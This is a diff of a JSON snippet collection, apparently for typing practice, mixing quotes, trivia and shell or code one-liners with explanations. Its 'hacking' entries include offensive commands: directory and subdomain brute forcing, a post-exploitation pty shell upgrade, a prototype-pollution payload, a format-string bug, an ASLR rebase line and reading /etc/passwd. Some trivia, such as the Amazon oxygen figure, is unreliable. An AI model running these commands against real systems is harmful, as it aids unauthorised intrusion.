-    "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun."
+    "category": "shell",
+    "content": "diff <(sort a.txt) <(sort b.txt)",
+    "attribution": "Pipelines",
+    "language": "shell",
+    "explanation": "Process substitution gives two commands to diff as if they were files, without writing either to disk."
   },
   {
-    "category": "programming",
-    "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly."
+    "category": "technology",
+    "content": "The most damaging phrase in the language is: we've always done it this way.",
+    "attribution": "Grace Hopper"
   },
   {
-    "category": "movies",
-    "content": "It's only after we've lost everything that we're free to do anything.",
-    "attribution": "Fight Club (1999)"
+    "category": "anime",
+    "content": "The only ones who should kill are those who are prepared to be killed.",
+    "attribution": "Code Geass"
   },
   {
-    "category": "general",
-    "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface."
+    "category": "anime",
+    "content": "Trees and people used to be good friends.",
+    "attribution": "My Neighbor Totoro"
   },
   {
-    "category": "technology",
-    "content": "A distributed system is one in which the failure of a computer you didn't know existed can render your own computer unusable.",
-    "attribution": "Leslie Lamport"
+    "category": "nature",
+    "content": "In the woods, we return to reason and faith. There I feel that nothing can befall me in life which nature cannot repair.",
+    "attribution": "Ralph Waldo Emerson, Nature"
   },
   {
     "category": "general",
-    "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia."
-  },
-  {
-    "category": "science",
-    "content": "The good thing about science is that it's true whether or not you believe in it.",
-    "attribution": "Neil deGrasse Tyson"
-  },
-  {
-    "category": "literature",
-    "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.",
-    "attribution": "Bram Stoker, Dracula"
+    "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later."
   },
   {
     "category": "programming",
-    "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it."
+    "content": "let mut counts: HashMap<String, usize> = HashMap::new();",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds."
   },
   {
     "category": "hacking",
-    "content": "JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')",
-    "attribution": "Web",
-    "language": "javascript",
-    "explanation": "Prototype pollution: writing through __proto__ reaches every object that inherits from it."
+    "content": "cur.execute('SELECT * FROM users WHERE name = %s AND active = %s', (name, True))",
+    "attribution": "Defence",
+    "language": "python",
+    "explanation": "Parameterised queries send the values separately from the statement, so nothing the user types can become SQL."
   },
   {
-    "category": "shell",
-    "content": "find . -name '*.log' -print0 | xargs -0 grep -l 'ERROR'",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "xargs turns a stream of names into arguments. -0 with -print0 is what makes filenames containing spaces safe."
+    "category": "general",
+    "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built."
   },
   {
     "category": "quotes",
@@ -523,144 +507,203 @@
   },
   {
     "category": "general",
-    "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered."
+    "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools."
   },
   {
-    "category": "general",
-    "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later."
+    "category": "technology",
+    "content": "Adding manpower to a late software project makes it later.",
+    "attribution": "Fred Brooks, The Mythical Man-Month"
   },
   {
-    "category": "programming",
-    "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory."
+    "category": "anime",
+    "content": "Don't be afraid of things you don't understand. Just accept them as they are.",
+    "attribution": "Mushishi"
   },
   {
-    "category": "history",
-    "content": "The strong do what they can and the weak suffer what they must.",
-    "attribution": "Thucydides, History of the Peloponnesian War"
+    "category": "technology",
+    "content": "Security is a process, not a product.",
+    "attribution": "Bruce Schneier"
+  },
+  {
+    "category": "quotes",
+    "content": "Our greatest glory is not in never falling, but in rising every time we fall.",
+    "attribution": "Confucius"
+  },
+  {
+    "category": "general",
+    "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later."
   },
   {
     "category": "science",
-    "content": "If I have seen further it is by standing on the shoulders of giants.",
-    "attribution": "Isaac Newton"
+    "content": "Somewhere, something incredible is waiting to be known.",
+    "attribution": "Carl Sagan"
   },
   {
     "category": "anime",
-    "content": "I feel like I'm always searching for someone, or something.",
-    "attribution": "Your Name"
+    "content": "When do you think people die? When they are forgotten.",
+    "attribution": "One Piece"
   },
   {
-    "category": "anime",
-    "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.",
-    "attribution": "Naruto"
+    "category": "sysadmin",
+    "content": "docker system prune -af --volumes --filter 'until=168h'",
+    "attribution": "Containers",
+    "language": "shell",
+    "explanation": "Removes stopped containers, unused networks and dangling images. The usual cause of a full disk on a build host."
+  },
+  {
+    "category": "sysadmin",
+    "content": "df -i | awk '$5+0 > 80 {print}'",
+    "attribution": "Disk",
+    "language": "shell",
+    "explanation": "A disk that reports free space but still refuses writes is usually out of inodes, not bytes."
   },
   {
     "category": "philosophy",
-    "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions."
+    "content": "I think, therefore I am.",
+    "attribution": "Rene Descartes, Discourse on the Method"
   },
   {
-    "category": "shell",
-    "content": "curl -s https://api.example.com/users | jq -r '.[] | select(.active) | .email'",
-    "attribution": "Pipelines",
+    "category": "programming",
+    "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
+    "attribution": "Shell",
     "language": "shell",
-    "explanation": "jq selects and reshapes JSON. -r prints raw strings, so the output is usable by the next command rather than quoted."
+    "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
+  },
+  {
+    "category": "technology",
+    "content": "There is no code faster than no code.",
+    "attribution": "Kevlin Henney"
   },
   {
     "category": "science",
-    "content": "The cosmos is within us. We are made of star-stuff. We are a way for the universe to know itself.",
-    "attribution": "Carl Sagan, Cosmos"
+    "content": "An expert is a person who has made all the mistakes that can be made in a very narrow field.",
+    "attribution": "Niels Bohr"
   },
   {
-    "category": "history",
-    "content": "Never in the field of human conflict was so much owed by so many to so few.",
-    "attribution": "Winston Churchill, 1940"
+    "category": "general",
+    "content": "Simplicity is the soul of efficiency."
+  },
+  {
+    "category": "quotes",
+    "content": "You have power over your mind, not outside events. Realize this, and you will find strength.",
+    "attribution": "Marcus Aurelius, Meditations"
   },
   {
     "category": "programming",
-    "content": "git reflog --date=iso | head -20",
+    "content": "git bisect start HEAD v1.2.0 && git bisect run ./test.sh",
     "attribution": "Git",
     "language": "shell",
-    "explanation": "Recovers commits that are no longer reachable from any branch. A hard reset does not destroy them; it just stops pointing at them."
+    "explanation": "Finds the commit that introduced a bug by bisecting history. Give it a known-good and known-bad commit and it halves the range each step."
   },
   {
-    "category": "anime",
-    "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.",
-    "attribution": "Fullmetal Alchemist"
+    "category": "history",
+    "content": "I am tired of fighting. From where the sun now stands, I will fight no more forever.",
+    "attribution": "Chief Joseph, Nez Perce, 1877"
   },
   {
-    "category": "history",
-    "content": "I have cherished the ideal of a democratic and free society in which all persons live together in harmony and with equal opportunities.",
-    "attribution": "Nelson Mandela, 1964"
+    "category": "general",
+    "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface."
   },
   {
-    "category": "literature",
-    "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.",
-    "attribution": "H.G. Wells, The Time Machine"
+    "category": "philosophy",
+    "content": "The beginning is the most important part of the work.",
+    "attribution": "Plato, The Republic"
+  },
+  {
+    "category": "programming",
+    "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled."
+  },
+  {
+    "category": "quotes",
+    "content": "Failure is impossible.",
+    "attribution": "Susan B. Anthony"
   },
   {
     "category": "shell",
-    "content": "ls *.png | xargs -P4 -I{} convert {} -resize 50% small/{}",
+    "content": "make 2>&1 | tee build.log | grep -E 'error|warning'",
     "attribution": "Pipelines",
     "language": "shell",
-    "explanation": "Runs a command per input line in parallel. -P4 keeps four running at once, and -I{} places each name where the braces are."
+    "explanation": "tee writes to a file and passes the stream on, so you can log and keep processing in the same pipeline."
   },
   {
-    "category": "anime",
-    "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.",
-    "attribution": "Princess Mononoke"
+    "category": "literature",
+    "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.",
+    "attribution": "F. Scott Fitzgerald, The Great Gatsby"
   },
   {
-    "category": "philosophy",
-    "content": "It does not matter how slowly you go as long as you do not stop.",
-    "attribution": "Confucius, Analects"
+    "category": "movies",
+    "content": "Oh, what a day. What a lovely day!",
+    "attribution": "Mad Max: Fury Road (2015)"
   },
   {
-    "category": "nature",
-    "content": "In the woods, we return to reason and faith. There I feel that nothing can befall me in life which nature cannot repair.",
-    "attribution": "Ralph Waldo Emerson, Nature"
+    "category": "philosophy",
+    "content": "Every new beginning comes from some other beginning's end.",
+    "attribution": "Seneca, Letters from a Stoic"
   },
   {
-    "category": "hacking",
-    "content": "libc.address = leak - libc.symbols['puts']",
-    "attribution": "Exploit dev",
-    "language": "python",
-    "explanation": "Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated."
+    "category": "science",
+    "content": "I would rather have questions that can't be answered than answers that can't be questioned.",
+    "attribution": "Richard Feynman"
   },
   {
     "category": "literature",
-    "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.",
-    "attribution": "Jack London, The Call of the Wild"
-  },
-  {
-    "category": "history",
-    "content": "That's one small step for a man, one giant leap for mankind.",
-    "attribution": "Neil Armstrong, 1969"
+    "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.",
+    "attribution": "Charlotte Bronte, Jane Eyre"
   },
   {
-    "category": "shell",
-    "content": "mount | column -t | grep -v tmpfs",
-    "attribution": "Text processing",
-    "language": "shell",
-    "explanation": "column formats whitespace-separated input into aligned columns, which makes an unreadable log readable."
+    "category": "philosophy",
+    "content": "Stoicism is a school of ancient Greek philosophy that teaches the practice of virtue as the only true good, and encourages focusing only on what lies within one's own control."
   },
   {
-    "category": "anime",
-    "content": "No matter how much I struggle, there's always a price to pay for changing the past.",
-    "attribution": "Steins;Gate"
+    "category": "science",
+    "content": "A new scientific truth does not triumph by convincing its opponents, but rather because its opponents eventually die.",
+    "attribution": "Max Planck"
   },
   {
-    "category": "programming",
-    "content": "public static void main(String[] args) { System.out.println(\"ready\"); }",
-    "attribution": "Java",
-    "language": "clike",
-    "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments."
+    "category": "history",
+    "content": "There are many causes that I am prepared to die for but no causes that I am prepared to kill for.",
+    "attribution": "Mahatma Gandhi"
   },
   {
-    "category": "business",
-    "content": "There is nothing so useless as doing efficiently that which should not be done at all.",
-    "attribution": "Peter Drucker"
+    "category": "general",
+    "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth."
+  },
+  {
+    "category": "technology",
+    "content": "We can only see a short distance ahead, but we can see plenty there that needs to be done.",
+    "attribution": "Alan Turing, Computing Machinery and Intelligence"
+  },
+  {
+    "category": "technology",
+    "content": "The question of whether a computer can think is no more interesting than the question of whether a submarine can swim.",
+    "attribution": "Edsger Dijkstra"
+  },
+  {
+    "category": "hacking",
+    "content": "openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text",
+    "attribution": "Crypto",
+    "language": "shell",
+    "explanation": "Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning."
+  },
+  {
+    "category": "nature",
+    "content": "It seems to me that the natural world is the greatest source of excitement, of visual beauty, of intellectual interest.",
+    "attribution": "David Attenborough"
+  },
+  {
+    "category": "movies",
+    "content": "Get busy living, or get busy dying.",
+    "attribution": "The Shawshank Redemption (1994)"
+  },
+  {
+    "category": "programming",
+    "content": "for name, score in zip(names, scores, strict=True): print(f'{name}: {score:>5.1f}')",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "zip pairs two sequences and stops at the shorter one. strict=True makes a length mismatch an error rather than silent truncation."
   },
   {
     "category": "business",
@@ -668,303 +711,256 @@
     "attribution": "Parkinson's Law"
   },
   {
-    "category": "literature",
-    "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.",
-    "attribution": "Charles Dickens, Great Expectations"
+    "category": "quotes",
+    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.",
+    "attribution": "Abraham Lincoln, The Gettysburg Address"
   },
   {
     "category": "movies",
-    "content": "With great power comes great responsibility.",
-    "attribution": "Spider-Man (2002)"
+    "content": "I'm gonna make him an offer he can't refuse.",
+    "attribution": "The Godfather (1972)"
+  },
+  {
+    "category": "general",
+    "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone."
   },
   {
     "category": "shell",
-    "content": "sed -i 's/localhost/127.0.0.1/g' config.ini",
-    "attribution": "sed",
+    "content": "awk '{sum += $3} END {print sum, sum/NR}' numbers.txt",
+    "attribution": "awk",
     "language": "shell",
-    "explanation": "Substitute in place. The g flag replaces every match on a line, not just the first; -i writes the file rather than printing."
+    "explanation": "Sums a column and prints the average. END runs after the last line, so NR is the total row count by then."
   },
   {
-    "category": "movies",
-    "content": "There's no crying in baseball.",
-    "attribution": "A League of Their Own (1992)"
+    "category": "science",
+    "content": "The most incomprehensible thing about the world is that it is comprehensible.",
+    "attribution": "Albert Einstein"
   },
   {
-    "category": "hacking",
-    "content": "printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */",
-    "attribution": "Memory safety",
+    "category": "programming",
+    "content": "SELECT user_id, wpm, RANK() OVER (PARTITION BY mode ORDER BY wpm DESC) AS rank FROM results;",
+    "attribution": "SQL",
     "language": "clike",
-    "explanation": "An attacker-controlled format string. Every %x walks the stack; %n writes to it."
+    "explanation": "A window function ranks rows within each partition without collapsing them, which a GROUP BY cannot do."
   },
   {
-    "category": "anime",
-    "content": "Don't be afraid of things you don't understand. Just accept them as they are.",
-    "attribution": "Mushishi"
+    "category": "philosophy",
+    "content": "It does not matter how slowly you go as long as you do not stop.",
+    "attribution": "Confucius, Analects"
   },
   {
-    "category": "programming",
-    "content": "try: value = int(raw) except ValueError: value = 0",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt."
+    "category": "literature",
+    "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.",
+    "attribution": "Charles Dickens, A Tale of Two Cities"
   },
   {
-    "category": "history",
-    "content": "I am tired of fighting. From where the sun now stands, I will fight no more forever.",
-    "attribution": "Chief Joseph, Nez Perce, 1877"
+    "category": "literature",
+    "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.",
+    "attribution": "Charles Dickens, Great Expectations"
   },
   {
-    "category": "hacking",
-    "content": "lsmod | awk 'NR>1 {print $1}' | while read m; do modinfo -n \"$m\" 2>/dev/null; done | grep -v '^/lib/modules'",
-    "attribution": "Defence",
-    "language": "shell",
-    "explanation": "Compares running kernel modules against what the package manager installed. An unexpected module is worth explaining."
+    "category": "anime",
+    "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.",
+    "attribution": "Fullmetal Alchemist"
   },
   {
     "category": "programming",
-    "content": "const unique = [...new Set(values)].sort((a, b) => a - b);",
+    "content": "if (typeof value !== 'string' || value.length === 0) { return null; }",
     "attribution": "JavaScript",
     "language": "javascript",
-    "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text."
+    "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if."
   },
   {
-    "category": "philosophy",
-    "content": "All men by nature desire to know.",
-    "attribution": "Aristotle, Metaphysics"
+    "category": "general",
+    "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north."
   },
   {
-    "category": "philosophy",
-    "content": "The only true wisdom is in knowing you know nothing.",
-    "attribution": "Socrates"
+    "category": "science",
+    "content": "If you know you are on the right track, if you have this inner knowledge, then nobody can turn you off.",
+    "attribution": "Barbara McClintock"
   },
   {
-    "category": "technology",
-    "content": "You can't trust code that you did not totally create yourself.",
-    "attribution": "Ken Thompson, Reflections on Trusting Trust"
+    "category": "nature",
+    "content": "In every walk with nature one receives far more than he seeks.",
+    "attribution": "John Muir"
   },
   {
-    "category": "sysadmin",
-    "content": "0 3 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1",
-    "attribution": "Scheduling",
-    "language": "shell",
-    "explanation": "A cron entry that logs both streams. Without the redirect, cron mails the output to a mailbox nobody reads."
+    "category": "general",
+    "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia."
   },
   {
-    "category": "business",
-    "content": "The market can remain irrational longer than you can remain solvent.",
-    "attribution": "John Maynard Keynes"
+    "category": "hacking",
+    "content": "ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403",
+    "attribution": "Web",
+    "language": "shell",
+    "explanation": "Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories."
   },
   {
-    "category": "anime",
-    "content": "If everyone is not special, maybe you can be what you want to be.",
-    "attribution": "Mob Psycho 100"
+    "category": "nature",
+    "content": "In some Native languages the term for plants translates to those who take care of us.",
+    "attribution": "Robin Wall Kimmerer, Braiding Sweetgrass"
   },
   {
     "category": "sysadmin",
-    "content": "ssh -o ControlMaster=auto -o ControlPersist=10m -o ControlPath=~/.ssh/cm-%r@%h:%p host",
-    "attribution": "SSH",
+    "content": "ss -ltnp | awk 'NR>1 {print $4, $6}'",
+    "attribution": "Network",
     "language": "shell",
-    "explanation": "Reuses one connection for subsequent sessions, so every later ssh or scp to the same host skips the handshake."
+    "explanation": "Listening sockets with the process behind each one. The modern replacement for netstat -tulpn."
   },
   {
-    "category": "technology",
-    "content": "Plan to throw one away; you will, anyhow.",
-    "attribution": "Fred Brooks, The Mythical Man-Month"
+    "category": "shell",
+    "content": "awk -F: '{print $1, $7}' /etc/passwd",
+    "attribution": "awk",
+    "language": "shell",
+    "explanation": "-F sets the field separator. This reads /etc/passwd and prints the username and shell, which are fields 1 and 7."
   },
   {
-    "category": "sysadmin",
-    "content": "df -i | awk '$5+0 > 80 {print}'",
-    "attribution": "Disk",
-    "language": "shell",
-    "explanation": "A disk that reports free space but still refuses writes is usually out of inodes, not bytes."
+    "category": "programming",
+    "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly."
   },
   {
     "category": "hacking",
-    "content": "journalctl -u sshd -f | grep -Ei 'failed|invalid user'",
-    "attribution": "Defence",
+    "content": "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'",
+    "attribution": "Post-exploitation",
     "language": "shell",
-    "explanation": "Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed."
+    "explanation": "Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working."
   },
   {
-    "category": "science",
-    "content": "An expert is a person who has made all the mistakes that can be made in a very narrow field.",
-    "attribution": "Niels Bohr"
+    "category": "movies",
+    "content": "I am big. It's the pictures that got small.",
+    "attribution": "Sunset Boulevard (1950)"
   },
   {
-    "category": "literature",
-    "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.",
-    "attribution": "Oscar Wilde, The Picture of Dorian Gray"
+    "category": "science",
+    "content": "The whole history of science has been the gradual realisation that events do not happen in an arbitrary manner.",
+    "attribution": "Stephen Hawking, A Brief History of Time"
   },
   {
-    "category": "quotes",
-    "content": "Stay hungry, stay foolish.",
-    "attribution": "Steve Jobs"
+    "category": "movies",
+    "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.",
+    "attribution": "Jurassic Park (1993)"
   },
   {
     "category": "quotes",
-    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.",
-    "attribution": "Henry David Thoreau, Walden"
+    "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?",
+    "attribution": "Sojourner Truth, Ain't I a Woman?"
   },
   {
     "category": "movies",
-    "content": "What we've got here is failure to communicate.",
-    "attribution": "Cool Hand Luke (1967)"
-  },
-  {
-    "category": "nature",
-    "content": "There lives the dearest freshness deep down things.",
-    "attribution": "Gerard Manley Hopkins, God's Grandeur"
+    "content": "I'm as mad as hell, and I'm not going to take this anymore.",
+    "attribution": "Network (1976)"
   },
   {
-    "category": "technology",
-    "content": "The best way to predict the future is to invent it.",
-    "attribution": "Alan Kay"
+    "category": "anime",
+    "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.",
+    "attribution": "Attack on Titan"
   },
   {
-    "category": "quotes",
-    "content": "The two most important days in your life are the day you are born and the day you find out why.",
-    "attribution": "Mark Twain"
+    "category": "general",
+    "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity."
   },
   {
-    "category": "nature",
-    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life.",
-    "attribution": "Henry David Thoreau, Walden"
+    "category": "business",
+    "content": "There is nothing so useless as doing efficiently that which should not be done at all.",
+    "attribution": "Peter Drucker"
   },
   {
-    "category": "programming",
-    "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }",
-    "attribution": "Go",
-    "language": "clike",
-    "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up."
+    "category": "technology",
+    "content": "All problems in computer science can be solved by another level of indirection.",
+    "attribution": "Butler Lampson"
   },
   {
-    "category": "hacking",
-    "content": "iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT",
-    "attribution": "Defence",
-    "language": "shell",
-    "explanation": "Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing."
+    "category": "science",
+    "content": "The first principle is that you must not fool yourself, and you are the easiest person to fool.",
+    "attribution": "Richard Feynman"
   },
   {
-    "category": "general",
-    "content": "Simplicity is the soul of efficiency."
+    "category": "quotes",
+    "content": "Genius is one percent inspiration and ninety-nine percent perspiration.",
+    "attribution": "Thomas Edison"
   },
   {
-    "category": "sysadmin",
-    "content": "ssh -N -L 5432:127.0.0.1:5432 dbhost",
-    "attribution": "SSH",
-    "language": "shell",
-    "explanation": "Forwards a remote port to the local machine, so a service bound to localhost on the server is reachable here."
+    "category": "quotes",
+    "content": "Stay hungry, stay foolish.",
+    "attribution": "Steve Jobs"
   },
   {
-    "category": "philosophy",
-    "content": "It's not what happens to you, but how you react to it that matters.",
-    "attribution": "Epictetus"
+    "category": "literature",
+    "content": "It was the best of times, it was the worst of times.",
+    "attribution": "Charles Dickens, A Tale of Two Cities"
   },
   {
     "category": "anime",
-    "content": "Whatever happens, happens.",
-    "attribution": "Cowboy Bebop"
-  },
-  {
-    "category": "hacking",
-    "content": "curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'",
-    "attribution": "Web",
-    "language": "shell",
-    "explanation": "Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable."
-  },
-  {
-    "category": "philosophy",
-    "content": "A journey of a thousand miles begins with a single step.",
-    "attribution": "Lao Tzu, Tao Te Ching"
+    "content": "I feel like I'm always searching for someone, or something.",
+    "attribution": "Your Name"
   },
   {
-    "category": "hacking",
-    "content": "gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40",
-    "attribution": "Recon",
-    "language": "shell",
-    "explanation": "Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live."
+    "category": "technology",
+    "content": "The best way to predict the future is to invent it.",
+    "attribution": "Alan Kay"
   },
   {
     "category": "programming",
-    "content": "counts = {word: text.count(word) for word in set(text.split())}",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool."
+    "content": "struct node { int value; struct node *next; };",
+    "attribution": "C",
+    "language": "clike",
+    "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size."
   },
   {
     "category": "programming",
-    "content": "for name, score in zip(names, scores, strict=True): print(f'{name}: {score:>5.1f}')",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "zip pairs two sequences and stops at the shorter one. strict=True makes a length mismatch an error rather than silent truncation."
+    "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct."
   },
   {
-    "category": "movies",
-    "content": "If you build it, he will come.",
-    "attribution": "Field of Dreams (1989)"
+    "category": "history",
+    "content": "Never in the field of human conflict was so much owed by so many to so few.",
+    "attribution": "Winston Churchill, 1940"
   },
   {
-    "category": "business",
-    "content": "It takes twenty years to build a reputation and five minutes to ruin it.",
-    "attribution": "Warren Buffett"
+    "category": "sysadmin",
+    "content": "systemctl cat sshd.service && systemctl show sshd -p ExecStart",
+    "attribution": "systemd",
+    "language": "shell",
+    "explanation": "Shows what a unit will actually run, including drop-ins, after every override has been merged."
   },
   {
-    "category": "technology",
-    "content": "Design is not just what it looks like and feels like. Design is how it works.",
-    "attribution": "Steve Jobs"
+    "category": "movies",
+    "content": "You mustn't be afraid to dream a little bigger, darling.",
+    "attribution": "Inception (2010)"
   },
   {
     "category": "sysadmin",
-    "content": "dig +short @1.1.1.1 example.com A",
+    "content": "ip route get 8.8.8.8",
     "attribution": "Network",
     "language": "shell",
-    "explanation": "Resolves a name through a specific server, which is how you tell a stale local cache from a stale zone."
-  },
-  {
-    "category": "shell",
-    "content": "cut -d' ' -f1 access.log | sort | uniq -c | sort -rn | head",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "uniq only collapses adjacent duplicates, which is why sort comes first. -c counts, and the second sort orders by that count."
+    "explanation": "Which route the kernel will actually use for a destination, including the source address it will pick."
   },
   {
     "category": "philosophy",
-    "content": "It is not that we have a short time to live, but that we waste a lot of it.",
-    "attribution": "Seneca, On the Shortness of Life"
-  },
-  {
-    "category": "anime",
-    "content": "Overspecialize, and you breed in weakness. It's slow death.",
-    "attribution": "Ghost in the Shell"
-  },
-  {
-    "category": "literature",
-    "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.",
-    "attribution": "F. Scott Fitzgerald, The Great Gatsby"
+    "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically."
   },
   {
-    "category": "science",
-    "content": "The Analytical Engine weaves algebraical patterns just as the Jacquard loom weaves flowers and leaves.",
-    "attribution": "Ada Lovelace"
+    "category": "programming",
+    "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u",
+    "attribution": "Shell",
+    "language": "shell",
+    "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates."
   },
   {
-    "category": "technology",
-    "content": "Simplicity is prerequisite for reliability.",
-    "attribution": "Edsger Dijkstra"
+    "category": "general",
+    "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface."
   },
   {
     "category": "sysadmin",
